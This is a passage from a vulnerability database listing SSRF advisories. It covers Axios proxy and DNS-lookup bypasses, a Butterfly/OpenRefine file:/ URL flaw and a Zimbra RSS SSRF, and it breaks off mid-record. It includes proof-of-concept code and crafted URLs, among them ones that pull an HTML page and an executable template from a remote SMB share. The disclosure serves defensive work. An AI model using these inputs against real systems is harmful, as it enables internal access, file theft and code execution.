CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6185 vulnerabilities reference this CWE, most recent first.
GHSA-3P68-RC4W-QGX5
Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-05-08 13:46Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
Impact
- Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. -
Attackers controlling request URLs can:
-
Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62718"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T17:32:19Z",
"nvd_published_at": "2026-04-09T15:16:08Z",
"severity": "MODERATE"
},
"details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n try {\n await axios.get(url, { timeout: 2000 });\n } catch {}\n}\n\nsetTimeout(async () =\u003e {\n console.log(\"\\n[*] Testing http://localhost.:8080/\");\n await test(\"http://localhost.:8080/\"); // goes through proxy\n\n console.log(\"\\n[*] Testing http://[::1]:8080/\");\n await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n * Force Axios to send local traffic through an attacker-controlled proxy.\n * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n * Potentially exfiltrate sensitive responses from internal services via the proxy.\n \n \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
"id": "GHSA-3p68-rc4w-qgx5",
"modified": "2026-05-08T13:46:43Z",
"published": "2026-04-09T17:32:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
GHSA-3P8V-W8MR-M3X8
Vulnerability from github – Published: 2024-10-24 18:16 – Updated: 2024-10-24 21:46Summary
The Butterfly framework uses the java.net.URL class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a file:/ URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.
This leads to multiple weaknesses and potential weaknesses:
- An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).
- An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting).
- If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).
Details
The edu.mit.simile.butterfly.ButterflyModuleImpl.getResource method converts a resource name into an URL, for instance:
images/logo-gem-126.svg
file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg
If the resource name already starts with file:/, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.
The default implementation for process in ButterflyModuleImpl is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same getResource implementation through the ButterflyResourceLoader class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.
PoC
This demonstration has been tested with OpenRefine on a Windows machine. Start OpenRefine, create a file (here example.js) with some contents, then concatenate the OpenRefine URL and its file:/ URL, as follows:
http://localhost:3333/file:/C:/Users/Wander/example.js
The file is read and sent to the browser. Then, visit:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html
Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.
In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/index
An index.vt template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.
Impact
Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.openrefine.dependencies:butterfly"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47883"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-24T18:16:43Z",
"nvd_published_at": "2024-10-24T21:15:13Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: \"opening a connection\" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app\u0027s codebase.\n\nThis leads to multiple weaknesses and potential weaknesses:\n\n* An attacker that has network access to the application could use it to gain access to files, either on the the server\u0027s filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).\n* An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim\u0027s browser (cross-site scripting).\n* If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).\n\n### Details\n\nThe `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance:\n\n```\nimages/logo-gem-126.svg\nfile:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg\n```\n\nIf the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.\n\nThe default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.\n\n### PoC\n\nThis demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows:\n\n http://localhost:3333/file:/C:/Users/Wander/example.js\n\nThe file is read and sent to the browser. Then, visit:\n\n http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html\n\nAssuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.\n\nIn the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:\n\n http://localhost:3333/file:%2f%2fwandernauta.nl/public/index\n\nAn `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.\n\n### Impact\n\nDepending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.",
"id": "GHSA-3p8v-w8mr-m3x8",
"modified": "2024-10-24T21:46:18Z",
"published": "2024-10-24T18:16:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenRefine/simile-butterfly/security/advisories/GHSA-3p8v-w8mr-m3x8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47883"
},
{
"type": "WEB",
"url": "https://github.com/OpenRefine/simile-butterfly/commit/537f64bfa72746f8b21d4bda461fad843435319c"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenRefine/simile-butterfly"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Butterfly has path/URL confusion in resource handling leading to multiple weaknesses"
}
GHSA-3PGM-M73M-QRJ2
Vulnerability from github – Published: 2025-02-03 21:31 – Updated: 2025-02-04 18:30SSRF vulnerability in the RSS feed parser in Zimbra Collaboration 9.0.0 before Patch 43, 10.0.x before 10.0.12, and 10.1.x before 10.1.4 allows unauthorized redirection to internal network endpoints.
{
"affected": [],
"aliases": [
"CVE-2025-25065"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-03T20:15:37Z",
"severity": "MODERATE"
},
"details": "SSRF vulnerability in the RSS feed parser in Zimbra Collaboration 9.0.0 before Patch 43, 10.0.x before 10.0.12, and 10.1.x before 10.1.4 allows unauthorized redirection to internal network endpoints.",
"id": "GHSA-3pgm-m73m-qrj2",
"modified": "2025-02-04T18:30:48Z",
"published": "2025-02-03T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25065"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.12#Security_Fixes"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.4#Security_Fixes"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P43#Security_Fixes"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3PQ3-5FJ3-CG6V
Vulnerability from github – Published: 2026-09-30 15:02 – Updated: 2026-09-30 15:02Summary
Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses httpVersion: 2. The HTTP/1 adapter path wraps and forwards config.lookup, builds normal request options, and applies proxy routing through setProxy(). The HTTP/2 path builds a session with http2.connect() using only options.http2Options, which drops the top-level lookup, agent, and proxy state.
Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios lookup or proxy routing to prevent SSRF or enforce outbound network policy.
Impact
In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.
This is not an unconditional SSRF in every axios deployment. It requires httpVersion: 2 and an application-level trust boundary where user-influenced URLs are constrained by lookup or proxy policy.
Affected Functionality
Affected:
- Node.js HTTP adapter with
httpVersion: 2. config.lookupsupplied as a DNS policy.- Explicit
config.proxyand environment-derived proxy settings for HTTPS HTTP/2 requests.
Not affected:
- Browser adapters.
- Node HTTP/1 requests, which pass
lookupto the transport and apply proxy handling. - Applications that validate destination hosts independently before calling axios.
Technical Details
In lib/adapters/http.js, the adapter reads lookup, wraps it, stores it on the request options, and applies setProxy() before selecting a transport. For HTTP/2, http2Transport.request() builds an authority from options.protocol, options.hostname, and options.port, then calls:
const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);
lib/helpers/Http2Sessions.js ultimately calls http2.connect(authority, options) with only the http2Options object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.
Local verification on axios 1.18.1 showed lookupCalls: 0 while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.
Proof of Concept of Attack
Local constrained demonstration:
- Start an HTTP/2 server on loopback.
- Call
axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup })wherelookupthrowsEPOLICY. - Observe that the request succeeds and the lookup counter remains
0.
For proxy routing:
- Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT.
- Call axios with
httpVersion: 2,http2Options: { rejectUnauthorized: false }, and explicitproxy. - Observe that the origin receives the request and the proxy receives nothing.
Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.
Workarounds
Use the HTTP/1 adapter path for requests that depend on axios lookup or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.
Original report
### Summary I found that Axios does not apply the configured `lookup` function or proxy when a request uses `httpVersion: 2`. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using `http2.connect()`. This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block. I reproduced this on the current npm release, Axios 1.18.1. ### Details The HTTP adapter reads and wraps the caller's `lookup` function, builds the normal request options, and calls `setProxy()`: - `lib/adapters/http.js`, around lines 530-578: reads and wraps `lookup` - `lib/adapters/http.js`, around lines 895-954: adds `lookup` to `options` and applies `setProxy()` For HTTP/2, however, the adapter selects `http2Transport`. That transport creates an authority from the destination and only passes `options.http2Options` to the session pool:const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);
`lib/helpers/Http2Sessions.js` then calls:
const session = http2.connect(authority, options);
At this point `options` is only the `http2Options` object. The top-level `lookup`, the proxy tunnelling agent created by `setProxy()`, and the selected `httpAgent`/`httpsAgent` are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.
The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.
### PoC
I attached [axios_http2_transport_controls_poc.mjs](https://drive.google.com/file/d/1lKXBOLDoysOFRmaRyV1tMVLx3P0Ah4gV/view?usp=sharing). The PoC is entirely local and sets up three pieces:
1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns `REACHED_BLOCKED_ORIGIN`.
2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with `502 Bad Gateway`.
3. A custom Axios `lookup` callback that rejects every DNS lookup with an `EPOLICY` error.
The first request is an HTTP/1 control request. It uses the blocking `lookup` callback and has proxying disabled. Axios calls the callback, receives `EPOLICY`, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.
The second request targets the same URL with `httpVersion: 2`. It is given both security controls: the same blocking `lookup` callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with `EPOLICY`, or it should reach the proxy and receive its `502` response.
Instead, the request returns HTTP 200 with `REACHED_BLOCKED_ORIGIN`. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.
To reproduce, run the attachment from the root of an Axios checkout:
Run it from the root of an Axios checkout:
git checkout v1.18.1
npm install --ignore-scripts
node /path/to/axios_http2_transport_controls_poc.mjs
Relevant output from my run:
{
"axiosVersion": "1.18.1",
"configuredControls": {
"lookup": "reject every DNS lookup with EPOLICY",
"proxy": "http://127.0.0.1:<port> (reject every request)"
},
"http1Control": "EPOLICY: blocked by application DNS policy",
"http2Result": {
"status": 200,
"data": "REACHED_BLOCKED_ORIGIN"
},
"lookupCalls": 1,
"proxyObservedTraffic": false,
"events": [
{
"server": "origin",
"protocol": "h2",
"path": "/internal"
}
]
}
The important parts of the output are:
- `http1Control` contains `EPOLICY`, proving the DNS policy blocks the destination under HTTP/1.
- `lookupCalls` is still `1` after both requests, proving HTTP/2 never called the configured resolver.
- `proxyObservedTraffic` is `false`, proving HTTP/2 did not use the configured proxy.
- `http2Result.status` is `200`, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.
### Impact
The vulnerable configuration is a Node.js application that:
- enables Axios HTTP/2 using `httpVersion: 2`;
- lets an application user influence the request destination; and
- relies on Axios's `lookup` option or proxy routing to enforce a destination or egress policy.
In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.
HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that `lookup` and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.
I did not test against any third-party or production service. The PoC only uses listeners on my own machine.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101898"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:02:14Z",
"nvd_published_at": "2026-09-28T18:17:17Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios for Node.js does not apply configured DNS lookup or proxy controls when a request uses `httpVersion: 2`. The HTTP/1 adapter path wraps and forwards `config.lookup`, builds normal request options, and applies proxy routing through `setProxy()`. The HTTP/2 path builds a session with `http2.connect()` using only `options.http2Options`, which drops the top-level `lookup`, `agent`, and proxy state.\n\nApplications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios `lookup` or proxy routing to prevent SSRF or enforce outbound network policy.\n\n## Impact\n\nIn affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.\n\nThis is not an unconditional SSRF in every axios deployment. It requires `httpVersion: 2` and an application-level trust boundary where user-influenced URLs are constrained by `lookup` or proxy policy.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter with `httpVersion: 2`.\n- `config.lookup` supplied as a DNS policy.\n- Explicit `config.proxy` and environment-derived proxy settings for HTTPS HTTP/2 requests.\n\nNot affected:\n\n- Browser adapters.\n- Node HTTP/1 requests, which pass `lookup` to the transport and apply proxy handling.\n- Applications that validate destination hosts independently before calling axios.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, the adapter reads `lookup`, wraps it, stores it on the request `options`, and applies `setProxy()` before selecting a transport. For HTTP/2, `http2Transport.request()` builds an authority from `options.protocol`, `options.hostname`, and `options.port`, then calls:\n\n```js\nconst { http2Options, headers } = options;\nconst session = http2Sessions.getSession(authority, http2Options);\n```\n\n`lib/helpers/Http2Sessions.js` ultimately calls `http2.connect(authority, options)` with only the `http2Options` object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.\n\nLocal verification on axios `1.18.1` showed `lookupCalls: 0` while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.\n\n## Proof of Concept of Attack\n\nLocal constrained demonstration:\n\n1. Start an HTTP/2 server on loopback.\n2. Call `axios.get(\"http://localhost:\u003cport\u003e/internal\", { httpVersion: 2, lookup })` where `lookup` throws `EPOLICY`.\n3. Observe that the request succeeds and the lookup counter remains `0`.\n\nFor proxy routing:\n\n1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT.\n2. Call axios with `httpVersion: 2`, `http2Options: { rejectUnauthorized: false }`, and explicit `proxy`.\n3. Observe that the origin receives the request and the proxy receives nothing.\n\nExpected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.\n\n## Workarounds\n\nUse the HTTP/1 adapter path for requests that depend on axios `lookup` or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n \n ### Summary\n\nI found that Axios does not apply the configured `lookup` function or proxy when a request uses `httpVersion: 2`. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL\u0027s hostname using `http2.connect()`.\n\nThis matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.\n\nI reproduced this on the current npm release, Axios 1.18.1.\n\n### Details\n\nThe HTTP adapter reads and wraps the caller\u0027s `lookup` function, builds the normal request options, and calls `setProxy()`:\n\n- `lib/adapters/http.js`, around lines 530-578: reads and wraps `lookup`\n- `lib/adapters/http.js`, around lines 895-954: adds `lookup` to `options` and applies `setProxy()`\n\nFor HTTP/2, however, the adapter selects `http2Transport`. That transport creates an authority from the destination and only passes `options.http2Options` to the session pool:\n\n```js\nconst { http2Options, headers } = options;\nconst session = http2Sessions.getSession(authority, http2Options);\n```\n\n`lib/helpers/Http2Sessions.js` then calls:\n\n```js\nconst session = http2.connect(authority, options);\n```\n\nAt this point `options` is only the `http2Options` object. The top-level `lookup`, the proxy tunnelling agent created by `setProxy()`, and the selected `httpAgent`/`httpsAgent` are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.\n\nThe same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.\n\n### PoC\n\nI attached [axios_http2_transport_controls_poc.mjs](https://drive.google.com/file/d/1lKXBOLDoysOFRmaRyV1tMVLx3P0Ah4gV/view?usp=sharing). The PoC is entirely local and sets up three pieces:\n\n1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns `REACHED_BLOCKED_ORIGIN`.\n2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with `502 Bad Gateway`.\n3. A custom Axios `lookup` callback that rejects every DNS lookup with an `EPOLICY` error.\n\nThe first request is an HTTP/1 control request. It uses the blocking `lookup` callback and has proxying disabled. Axios calls the callback, receives `EPOLICY`, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.\n\nThe second request targets the same URL with `httpVersion: 2`. It is given both security controls: the same blocking `lookup` callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with `EPOLICY`, or it should reach the proxy and receive its `502` response.\n\nInstead, the request returns HTTP 200 with `REACHED_BLOCKED_ORIGIN`. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.\n\nTo reproduce, run the attachment from the root of an Axios checkout:\n\nRun it from the root of an Axios checkout:\n\n```bash\ngit checkout v1.18.1\nnpm install --ignore-scripts\nnode /path/to/axios_http2_transport_controls_poc.mjs\n```\n\nRelevant output from my run:\n\n```json\n{\n \"axiosVersion\": \"1.18.1\",\n \"configuredControls\": {\n \"lookup\": \"reject every DNS lookup with EPOLICY\",\n \"proxy\": \"http://127.0.0.1:\u003cport\u003e (reject every request)\"\n },\n \"http1Control\": \"EPOLICY: blocked by application DNS policy\",\n \"http2Result\": {\n \"status\": 200,\n \"data\": \"REACHED_BLOCKED_ORIGIN\"\n },\n \"lookupCalls\": 1,\n \"proxyObservedTraffic\": false,\n \"events\": [\n {\n \"server\": \"origin\",\n \"protocol\": \"h2\",\n \"path\": \"/internal\"\n }\n ]\n}\n```\n\nThe important parts of the output are:\n\n- `http1Control` contains `EPOLICY`, proving the DNS policy blocks the destination under HTTP/1.\n- `lookupCalls` is still `1` after both requests, proving HTTP/2 never called the configured resolver.\n- `proxyObservedTraffic` is `false`, proving HTTP/2 did not use the configured proxy.\n- `http2Result.status` is `200`, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.\n\n### Impact\n\nThe vulnerable configuration is a Node.js application that:\n\n- enables Axios HTTP/2 using `httpVersion: 2`;\n- lets an application user influence the request destination; and\n- relies on Axios\u0027s `lookup` option or proxy routing to enforce a destination or egress policy.\n\nIn that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.\n\nHTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that `lookup` and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios\u0027s threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.\n\nI did not test against any third-party or production service. The PoC only uses listeners on my own machine.\n\u003c/details\u003e\n\n---",
"id": "GHSA-3pq3-5fj3-cg6v",
"modified": "2026-09-30T15:02:14Z",
"published": "2026-09-30T15:02:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101898"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
